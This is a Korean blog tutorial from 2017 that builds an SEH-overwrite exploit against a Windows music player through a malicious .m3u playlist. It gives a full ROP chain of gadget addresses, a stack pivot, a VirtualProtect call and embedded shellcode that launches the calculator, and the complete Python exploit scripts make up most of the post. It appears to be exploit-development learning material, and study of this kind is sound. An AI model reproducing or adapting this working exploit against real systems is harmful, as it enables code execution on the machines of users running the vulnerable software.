[Window Application Exploit] ROP2
- System/Windows
- 2017. 9. 18. 23:30
본 exploit code는 이전 ROP를 수행했던 vuplayer와 같은 조건과 환경에서 실습하였습니다.
Step 1. Application
프로그램을 실행시키면 평범한 형태의 음악 재생 프로그램이라는 것을 알 수 있습니다. 이전과 마찬가지로 input 값을 넣을 수 있는 부분을 추측하자면 playlist를 추가하는 곳을 추측할 수 있습니다.
m3u 형태의 파일을 생성해 “A”를 20000bytes정도 넣어주었더니 아래의 그림과 같이 SEH handler가 바뀐 것을 알 수 있습니다. 따라서 SEH overwrite기법이 가능합니다.
패턴을 만들어 handler 함수까지의 offset을 알아낼 수 있습니다.
Step 2. 취약점
패턴을 넣어 알아낸 SEH handler까지의 offset은 5144bytes, 그리고 아래의 코드는 SEH handler 함수에 0xdeadbeef라는 문자열을 넣은 것입니다.
import struct p = lambda x : struct.pack('<L', x) file = open("exp.m3u", "w") exp = "" exp += "A" * 5144 exp += p(0xdeadbeef) file.write(exp) file.close()
아래의 그림을 보면 EIP가 0xdeadbeef로 변조되어 있는 것을 볼 수 있습니다. 그러나 SEH chain을 타야하므로 처음 excption이 일어났을 때 강제 진행을 해주어야 아래와 같은 결과를 볼 수 있습니다.
EIP는 성공적으로 조작한다해도 현재 esp의 위치가 문제입니다. 현재 ntdll의 한 영역을 가리키고 있기 때문에 retn opcode를 만나게 되면 공격자가 원하는 방향으로 프로그램을 조작할 수 없게됩니다. 따라서 stack pivot을 통해 stack pointer를 다른 곳으로 옮겨줘야 합니다.
add esp, x 가젯을 적당히 넣어 esp값이 공격자가 넣은 input 범위 내부를 가리키도록 합니다.
stack pivot을 성공했어도 retn을 만났을 때 실행되는 code는 0x41414141내부의 값입니다. 이렇게되면 오류가 뜨게되므로 nop의 위치를 찾아 nop sled를 만들어줘야 합니다.
import struct p = lambda x : struct.pack('<L', x) file = open("rop.m3u", "w") pivot = 0x649c7b5a nop = 0x649a0132 maxlen = 5144 exp = "" exp += p(nop) * 200 exp += "A" * (maxlen - len(exp)) exp += p(pivot) print len(exp) file.write(exp) file.close()
위와 같이 나오게 되면 적당히 nop sled를 타고 code를 실행시킬 수 있습니다.
따라서 위의 nop sled와 “A”가 채워진 중간에 exploit을 작성해 넣으면 됩니다. 이전에 했던 방식으로 VirtualProtect함수를 이용해 shellcode를 실행시키는 방향으로 생각해봅니다.
다음은 nop sled를 실행할 때의 register 값입니다. 따라서 해당 사항에 맞춰 rop chain을 만들어줍니다.
다음은 현재 만든 ROP chain입니다. pushad를 이용해서 VirtaulProtect의 인자를 구성하게 하고 SEH handler함수를 stack pivot 가젯으로 덮어 VirtualProtect가 실행되게끔 구성한 것입니다.
import struct p = lambda x : struct.pack('<L', x) file = open("rop.m3u", "w") VirtualProtect = 0x76b12341 pivot = 0x649c7b5a nop = 0x649a0132 maxlen = 5144 custom = 0x6ef9a010 pop_edi = 0x6ae80742 pop_ecx = 0x6aed7baf pop_esi = 0x6b0c368c xchg_eaxebp = 0x6ae18562 xchg_eaxesp = 0x6ad59602 xchg_eaxebx = 0x6b047e85 # pivot 16 xchg_eaxedx = 0x6ae63207 xchg_eaxecx = 0x6af1dcb5 push_esp_pop_ebx = 0x6adc2aff # pivot 8 #dummy = 0x6af7a654 # pivot 80 dummy = 0x90909090 xor_eaxeax = 0x64965618 inc_eax = 0x6ad79e56 add_eax_10005 = 0x6497439e add_eax_69 = 0x6ad5c728 add_ebp_ecx = 0x6af2af13 pushad = 0x6ad7a035 push_eax_pop_ebx = 0x6b01e7f9 # stage 1. set argument payload = "" payload += p(xor_eaxeax) payload += p(add_eax_69) * 8 payload += p(xchg_eaxecx) payload += p(push_esp_pop_ebx) payload += p(dummy) * 2 payload += p(xchg_eaxebx) payload += p(dummy) * 4 payload += p(xchg_eaxebp) payload += p(add_ebp_ecx) # set return address payload += p(xor_eaxeax) payload += p(inc_eax) * 0x40 payload += p(xchg_eaxedx) # set flNewprotect payload += p(xor_eaxeax) payload += p(add_eax_69) * 20 payload += p(push_eax_pop_ebx) # set size payload += p(dummy) * 2 payload += p(pop_ecx) payload += p(custom) # set custom payload += p(pop_esi) payload += p(VirtualProtect) payload += p(pop_edi) payload += p(nop) payload += p(pushad) # final exploit exp = "" exp += p(nop) * 260 exp += payload exp += p(nop) * ((maxlen - len(exp)) / 4) exp += p(pivot) print "[] length: %d" % len(exp) file.write(exp) file.close()
Nop sled를 추가적으로 return address가 가리키는 방향에 넣어주고 실행을 따라가보면 VirtualProtect로 실행 권한을 얻게 되어 nop sled가 정상적으로 실행 되는 것을 볼 수 있습니다.
eip가 계속 nop 을 실행시키므로 stack을 따로 조작할 필요는 없고 nop sled 중간에 shellcode만 넣어주면 정상적으로 실행되게 됩니다.
Step 3. Exploit
nop sled 이후 shellcode를 넣어 현재 완성된 exploit은 아래와 같습니다.
import struct p = lambda x : struct.pack('<L', x) file = open("rop.m3u", "w") VirtualProtect = 0x76b12341 pivot = 0x649c7b5a nop = 0x649a0132 maxlen = 5144 custom = 0x6ef9a010 pop_edi = 0x6ae80742 pop_ecx = 0x6aed7baf pop_esi = 0x6b0c368c xchg_eaxebp = 0x6ae18562 xchg_eaxesp = 0x6ad59602 xchg_eaxebx = 0x6b047e85 # pivot 16 xchg_eaxedx = 0x6ae63207 xchg_eaxecx = 0x6af1dcb5 push_esp_pop_ebx = 0x6adc2aff # pivot 8 #dummy = 0x6af7a654 # pivot 80 dummy = 0x90909090 xor_eaxeax = 0x64965618 inc_eax = 0x6ad79e56 add_eax_10005 = 0x6497439e add_eax_69 = 0x6ad5c728 add_ebp_ecx = 0x6af2af13 pushad = 0x6ad7a035 push_eax_pop_ebx = 0x6b01e7f9 calc = ( "\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64" "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B" "\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20" "\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07" "\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74" "\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7") # stage 1. set argument payload = "" payload += p(xor_eaxeax) payload += p(add_eax_69) * 8 payload += p(xchg_eaxecx) payload += p(push_esp_pop_ebx) payload += p(dummy) * 2 payload += p(xchg_eaxebx) payload += p(dummy) * 4 payload += p(xchg_eaxebp) payload += p(add_ebp_ecx) # set return address payload += p(xor_eaxeax) payload += p(inc_eax) * 0x40 payload += p(xchg_eaxedx) # set flNewprotect payload += p(xor_eaxeax) payload += p(add_eax_69) * 20 payload += p(push_eax_pop_ebx) # set size payload += p(dummy) * 2 payload += p(pop_ecx) payload += p(custom) # set custom payload += p(pop_esi) payload += p(VirtualProtect) payload += p(pop_edi) payload += p(nop) payload += p(pushad) # final exploit exp = "" exp += p(nop) * 260 exp += payload #exp += p(nop) * ((maxlen - len(exp)) / 4) exp += "\x90" * (maxlen - len(exp) - len(calc)) exp += calc exp += p(pivot) print "[] length: %d" % len(exp) file.write(exp) file.close()
해당 exploit code를 넣으면 정상적으로 계산기가 실행되는 것을 볼 수 있습니다.
'System > Windows' 카테고리의 다른 글
[Browser Exploit] 3 Step To Exploit Edge (0) | 2017.09.20 |
---|---|
[Window Application Exploit] ROP (0) | 2017.09.15 |
[Kernel] Kernel Shellcode Analysis (0) | 2017.09.13 |
[Kernel] Kernel Shellcode (0) | 2017.09.11 |
[Kernel] Kernel Pool Attack (0) | 2017.09.08 |
이 글을 공유하기